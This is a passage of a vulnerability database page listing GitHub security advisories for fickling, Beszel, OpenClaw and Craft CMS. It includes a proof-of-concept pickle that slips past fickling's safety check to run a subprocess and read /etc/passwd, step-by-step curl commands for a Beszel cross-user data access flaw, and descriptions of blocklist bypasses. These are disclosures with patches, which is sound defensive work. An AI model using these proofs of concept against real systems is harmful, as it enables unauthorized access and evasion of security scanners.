Additional affected functions (same pattern): - platform.architecture('/etc/passwd') — calls _syscmd_file internally - platform.libc_ver('/etc/passwd') — opens and reads arbitrary file contents

Minimal patch diff

--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+        "platform",

Validation after patch

  • Same PoC flips to LIKELY_OVERTLY_MALICIOUS
  • fickling.loads raises UnsafeFileError
  • subprocess.check_output is not called

Impact

  • False-negative verdict: check_safety() returns LIKELY_SAFE with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.
  • Subprocess invocation: platform._syscmd_file calls subprocess.check_output(['file', '-b', target]) where target is attacker-controlled. The file command reads file headers and returns type information, enabling file existence and type probing.
  • File read: platform.libc_ver opens and reads chunks of an attacker-specified file path.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:58:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Our assessment\n\nWe added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). \n\nIt was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.\n\nhttps://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695\n```python\ntarget = _follow_symlinks(target)\n# \"file\" output is locale dependent: force the usage of the C locale\n# to get deterministic behavior.\nenv = dict(os.environ, LC_ALL=\u0027C\u0027)\ntry:\n    # -b: do not prepend filenames to output lines (brief mode)\n    output = subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target],\n                                     stderr=subprocess.DEVNULL,\n                                     env=env)\n```\n\n# Original report\n\n## Summary\nA crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk.\n\n**Clarification:** The subprocess call uses a list argument (`[\u0027file\u0027, \u0027-b\u0027, target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.\n\n## Affected versions\n`\u003c= 0.1.9` (verified on upstream HEAD as of 2026-03-04)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions.\n\n## Root cause\n1. `platform` not in `UNSAFE_IMPORTS` denylist.\n2. `OvertlyBadEvals` skips calls imported from stdlib modules.\n3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path).\n\n## Reproduction (clean upstream)\n```python\nfrom unittest.mock import patch\nimport fickling\nimport fickling.fickle as op\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\npickled = Pickled([\n    op.Proto.create(4),\n    op.ShortBinUnicode(\u0027platform\u0027),\n    op.ShortBinUnicode(\u0027_syscmd_file\u0027),\n    op.StackGlobal(),\n    op.ShortBinUnicode(\u0027/etc/passwd\u0027),\n    op.TupleOne(),\n    op.Reduce(),\n    op.Memoize(),\n    op.EmptyDict(),\n    op.ShortBinUnicode(\u0027init\u0027),\n    op.ShortBinUnicode(\u0027x\u0027),\n    op.SetItem(),\n    op.Mark(),\n    op.ShortBinUnicode(\u0027trace\u0027),\n    op.BinGet(0),\n    op.SetItems(),\n    op.Stop(),\n])\n\nresults = check_safety(pickled)\nprint(results.severity.name, len(results.results))  # LIKELY_SAFE 0\n\nwith patch(\u0027subprocess.check_output\u0027, return_value=b\u0027ASCII text\u0027) as mock_sub:\n    fickling.loads(pickled.dumps())\n    print(\u0027subprocess called?\u0027, mock_sub.called)       # True\n    print(\u0027args:\u0027, mock_sub.call_args[0])               # ([\u0027file\u0027, \u0027-b\u0027, \u0027/etc/passwd\u0027],)\n```\n\nAdditional affected functions (same pattern):\n- `platform.architecture(\u0027/etc/passwd\u0027)` \u2014 calls `_syscmd_file` internally\n- `platform.libc_ver(\u0027/etc/passwd\u0027)` \u2014 opens and reads arbitrary file contents\n\n## Minimal patch diff\n```diff\n--- a/fickling/fickle.py\n+++ b/fickling/fickle.py\n@@\n+        \"platform\",\n```\n\n## Validation after patch\n- Same PoC flips to `LIKELY_OVERTLY_MALICIOUS`\n- `fickling.loads` raises `UnsafeFileError`\n- `subprocess.check_output` is not called\n\n## Impact\n- **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.\n- **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing.\n- **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path.",
  "id": "GHSA-5cxw-w2xg-2m8h",
  "modified": "2026-03-13T20:58:10Z",
  "published": "2026-03-13T20:58:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5cxw-w2xg-2m8h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fickling\u0027s `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`"
}

GHSA-5F5R-95PG-XRPM

Vulnerability from github – Published: 2026-04-10 17:32 – Updated: 2026-04-10 17:32
VLAI
Summary
Beszel has an IDOR in hub API endpoints that read system ID from URL parameter
Details

Summary

Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.

System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.

Affected Component

  • File: internal/hub/api.go, lines 283–361
  • Endpoints:
  • GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID
  • GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID
  • GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME
  • POST /api/beszel/smart/refresh?system=SYSTEM_ID
  • Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84

Vulnerable Code

The containerRequestHandler function retrieves a system by ID but never verifies the authenticated user is a member of that system:

// internal/hub/api.go:283-305
func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {
    systemID := e.Request.URL.Query().Get("system")
    containerID := e.Request.URL.Query().Get("container")

    if systemID == "" || containerID == "" {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"})
    }
    if !containerIDPattern.MatchString(containerID) {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"})
    }

    system, err := h.sm.GetSystem(systemID)
    // ^^^ No authorization check: e.Auth.Id is never verified against system.users
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"})
    }

    data, err := fetchFunc(system, containerID)
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()})
    }

    return e.JSON(http.StatusOK, map[string]string{responseKey: data})
}

The same pattern applies to getSystemdInfo (lines 322–340) and refreshSmartData (lines 342–361).

Meanwhile, the standard PocketBase collection API enforces proper membership checks:

// internal/hub/collections.go:56-57
systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id"
systemMemberRule  := authenticatedRule + " && system.users.id ?= @request.auth.id"

These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on apiAuth.

PoC

The proof: The standard PocketBase API returns 404 (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.

Step 1: Start the hub

cd ~/Evidence/henrygd/beszel/finding418/docker-poc/
docker compose up -d

Wait a few seconds, then verify:

curl -s http://localhost:8090/api/health

Expected: {"message":"API is healthy.","code":200,"data":{}}

Step 2: Create User A (admin)

Open http://localhost:8090 in a browser and create the first user:

  • Email: usera@test.com
  • Password: testpassword1

Step 3: Create User B (readonly)

In the Beszel UI, go to Users and add a new user:

  • Email: userb@test.com
  • Password: testpassword2
  • Role: readonly

Step 4: Authenticate as User A

TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"usera@test.com","password":"testpassword1"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_A=$TOKEN_A"

Step 5: Get hub public key

HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['key'])")

echo "HUB_KEY=$HUB_KEY"

Step 6: Create a universal token and start the agent

UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "UTOK_A=$UTOK_A"

Find the Docker network the hub is on:

NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
echo "Network: $NETWORK"

Start the agent on the same network so the hub can reach it:

docker run -d --name beszel-agent-a \
  --network "$NETWORK" \
  -e HUB_URL=http://beszel-hub:8090 \
  -e TOKEN="$UTOK_A" \
  -e KEY="$HUB_KEY" \
  henrygd/beszel-agent:latest

Wait a few seconds for the agent to register:

sleep 5

Step 7: Verify User A sees the system

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" | python3 -m json.tool

You should see one system in items. Save the system ID:

SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])")

echo "SYSTEM_A_ID=$SYSTEM_A_ID"

Step 8: Authenticate as User B (readonly)

TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"userb@test.com","password":"testpassword2"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_B=$TOKEN_B"

Verify User B sees NO systems:

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: "totalItems": 0

Step 9: Control test — standard API blocks User B

echo "=== Standard PocketBase API ==="
curl -s -w "\nHTTP Status: %{http_code}\n" \
  "http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \
  -H "Authorization: $TOKEN_B"

Expected: 404 — RBAC correctly hides the system from User B.

Step 10: IDOR — SMART refresh (User B triggers action on User A's system)

echo "=== IDOR: POST /api/beszel/smart/refresh ==="
curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \
  -X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.

Step 11: IDOR — Systemd info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/systemd/info ==="
curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: Hub contacts the agent and returns systemd data or an agent-level error.

Step 12: IDOR — Container logs (User B reads from User A's system)

Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:

# Get a real container ID from Docker (first 12 hex chars)
CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)
echo "CONTAINER_ID=$CONTAINER_ID"

echo "=== IDOR: GET /api/beszel/containers/logs ==="
curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Step 13: IDOR — Container info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/containers/info ==="
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Impact

  • Container logs: Content of recent application logs, potentially including sensitive information
  • Container info: Content of Docker engine API's /containers/{id}/json endpoint, excluding environment variables
  • Systemd info: Unit properties and status for any monitored service
  • SMART refresh: Trigger a SMART data update on any system
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.18.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/henrygd/beszel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T17:32:05Z",
    "nvd_published_at": "2026-04-09T20:16:27Z",
    "severity": "LOW"
  },
  "details": "## Summary\nSome API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system\u0027s ID.\n\nSystem IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.\n\n## Affected Component\n\n- **File:** `internal/hub/api.go`, lines 283\u2013361\n- **Endpoints:**\n  - `GET /api/beszel/containers/logs?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n  - `GET /api/beszel/containers/info?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n  - `GET /api/beszel/systemd/info?system=SYSTEM_ID\u0026service=SERVICE_NAME`\n  - `POST /api/beszel/smart/refresh?system=SYSTEM_ID`\n- **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84\n\n## Vulnerable Code\n\nThe `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system:\n\n```go\n// internal/hub/api.go:283-305\nfunc (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {\n    systemID := e.Request.URL.Query().Get(\"system\")\n    containerID := e.Request.URL.Query().Get(\"container\")\n\n    if systemID == \"\" || containerID == \"\" {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"system and container parameters are required\"})\n    }\n    if !containerIDPattern.MatchString(containerID) {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"invalid container parameter\"})\n    }\n\n    system, err := h.sm.GetSystem(systemID)\n    // ^^^ No authorization check: e.Auth.Id is never verified against system.users\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": \"system not found\"})\n    }\n\n    data, err := fetchFunc(system, containerID)\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": err.Error()})\n    }\n\n    return e.JSON(http.StatusOK, map[string]string{responseKey: data})\n}\n```\n\nThe same pattern applies to `getSystemdInfo` (lines 322\u2013340) and `refreshSmartData` (lines 342\u2013361).\n\nMeanwhile, the standard PocketBase collection API enforces proper membership checks:\n\n```go\n// internal/hub/collections.go:56-57\nsystemsMemberRule := authenticatedRule + \" \u0026\u0026 users.id ?= @request.auth.id\"\nsystemMemberRule  := authenticatedRule + \" \u0026\u0026 system.users.id ?= @request.auth.id\"\n```\n\nThese rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`.\n\n### PoC\n**The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data \u2014 proving the authorization check is missing.\n\n#### Step 1: Start the hub\n\n```bash\ncd ~/Evidence/henrygd/beszel/finding418/docker-poc/\ndocker compose up -d\n```\n\nWait a few seconds, then verify:\n\n```bash\ncurl -s http://localhost:8090/api/health\n```\n\nExpected: `{\"message\":\"API is healthy.\",\"code\":200,\"data\":{}}`\n\n#### Step 2: Create User A (admin)\n\nOpen `http://localhost:8090` in a browser and create the first user:\n\n- Email: `usera@test.com`\n- Password: `testpassword1`\n\n#### Step 3: Create User B (readonly)\n\nIn the Beszel UI, go to Users and add a new user:\n\n- Email: `userb@test.com`\n- Password: `testpassword2`\n- Role: **readonly**\n\n#### Step 4: Authenticate as User A\n\n```bash\nTOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identity\":\"usera@test.com\",\"password\":\"testpassword1\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_A=$TOKEN_A\"\n```\n\n#### Step 5: Get hub public key\n\n```bash\nHUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027key\u0027])\")\n\necho \"HUB_KEY=$HUB_KEY\"\n```\n\n#### Step 6: Create a universal token and start the agent\n\n```bash\nUTOK_A=$(curl -s \"http://localhost:8090/api/beszel/universal-token?enable=1\" \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"UTOK_A=$UTOK_A\"\n```\n\nFind the Docker network the hub is on:\n\n```bash\nNETWORK=$(docker inspect beszel-hub --format \u0027{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}\u0027)\necho \"Network: $NETWORK\"\n```\n\nStart the agent on the **same network** so the hub can reach it:\n\n```bash\ndocker run -d --name beszel-agent-a \\\n  --network \"$NETWORK\" \\\n  -e HUB_URL=http://beszel-hub:8090 \\\n  -e TOKEN=\"$UTOK_A\" \\\n  -e KEY=\"$HUB_KEY\" \\\n  henrygd/beszel-agent:latest\n```\n\nWait a few seconds for the agent to register:\n\n```bash\nsleep 5\n```\n\n#### Step 7: Verify User A sees the system\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" | python3 -m json.tool\n```\n\nYou should see one system in `items`. Save the system ID:\n\n```bash\nSYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027items\u0027][0][\u0027id\u0027])\")\n\necho \"SYSTEM_A_ID=$SYSTEM_A_ID\"\n```\n\n#### Step 8: Authenticate as User B (readonly)\n\n```bash\nTOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identity\":\"userb@test.com\",\"password\":\"testpassword2\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_B=$TOKEN_B\"\n```\n\nVerify User B sees NO systems:\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: `\"totalItems\": 0`\n\n#### Step 9: Control test \u2014 standard API blocks User B\n\n```bash\necho \"=== Standard PocketBase API ===\"\ncurl -s -w \"\\nHTTP Status: %{http_code}\\n\" \\\n  \"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID\" \\\n  -H \"Authorization: $TOKEN_B\"\n```\n\nExpected: **404** \u2014 RBAC correctly hides the system from User B.\n\n#### Step 10: IDOR \u2014 SMART refresh (User B triggers action on User A\u0027s system)\n\n```bash\necho \"=== IDOR: POST /api/beszel/smart/refresh ===\"\ncurl -s \"http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID\" \\\n  -X POST -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR \u2014 compare with the 404 from Step 9.\n\n#### Step 11: IDOR \u2014 Systemd info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/systemd/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID\u0026service=sshd\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: Hub contacts the agent and returns systemd data or an agent-level error.\n\n#### Step 12: IDOR \u2014 Container logs (User B reads from User A\u0027s system)\n\nContainer endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent\u0027s host:\n\n```bash\n# Get a real container ID from Docker (first 12 hex chars)\nCONTAINER_ID=$(docker ps --format \u0027{{.ID}}\u0027 | head -1)\necho \"CONTAINER_ID=$CONTAINER_ID\"\n\necho \"=== IDOR: GET /api/beszel/containers/logs ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n#### Step 13: IDOR \u2014 Container info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/containers/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n### Impact\n\n- **Container logs**: Content of recent application logs, potentially including sensitive information\n- **Container info**: Content of Docker engine API\u0027s `/containers/{id}/json` endpoint, excluding environment variables\n- **Systemd info**: Unit properties and status for any monitored service\n- **SMART refresh**: Trigger a SMART data update on any system",
  "id": "GHSA-5f5r-95pg-xrpm",
  "modified": "2026-04-10T17:32:05Z",
  "published": "2026-04-10T17:32:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/henrygd/beszel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Beszel has an IDOR in hub API endpoints that read system ID from URL parameter"
}

GHSA-5F9P-F3W2-FWCH

Vulnerability from github – Published: 2026-03-02 22:17 – Updated: 2026-03-19 21:22
VLAI
Summary
OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains
Details

Summary

In the macOS companion app (currently beta), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in system.run under specific settings.

Impact

This path requires all of the following: - authenticated caller with operator.write - paired macOS beta node host - exec approvals set to security=allowlist and ask=on-miss

Under those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.

Default Install Status

Default installs are not affected.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.2.21-2
  • Patched (planned next release): >= 2026.2.22

Technical Details

The fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.

Product Status Note

The affected macOS companion app path is currently in beta.

Fix Commit(s)

  • 5da03e622119fa012285cdb590fcf4264c965cb5
  • e371da38aab99521c4e076cd3d95fd775e00b784

Release Process Note

patched_versions is pre-set to the planned next npm release (2026.2.22) so once that version is published, this advisory can be published without additional metadata edits.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:17:01Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nIn the macOS companion app (**currently beta**), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in `system.run` under specific settings.\n\n### Impact\nThis path requires all of the following:\n- authenticated caller with `operator.write`\n- paired macOS beta node host\n- exec approvals set to `security=allowlist` and `ask=on-miss`\n\nUnder those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.\n\n### Default Install Status\nDefault installs are not affected.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.21-2`\n- Patched (planned next release): `\u003e= 2026.2.22`\n\n### Technical Details\nThe fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.\n\n### Product Status Note\nThe affected macOS companion app path is currently in beta.\n\n### Fix Commit(s)\n- `5da03e622119fa012285cdb590fcf4264c965cb5`\n- `e371da38aab99521c4e076cd3d95fd775e00b784`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next npm release (`2026.2.22`) so once that version is published, this advisory can be published without additional metadata edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-5f9p-f3w2-fwch",
  "modified": "2026-03-19T21:22:24Z",
  "published": "2026-03-02T22:17:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5f9p-f3w2-fwch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/5da03e622119fa012285cdb590fcf4264c965cb5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/e371da38aab99521c4e076cd3d95fd775e00b784"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-allowlist-parsing-mismatch-in-system-run-shell-chains"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains"
}

GHSA-5FVC-7894-GHP4

Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39
VLAI
Summary
Craft CMS has Twig Function Blocklist Bypass
Details

Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

Resources

https://github.com/craftcms/cms/pull/18208

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:01:27Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
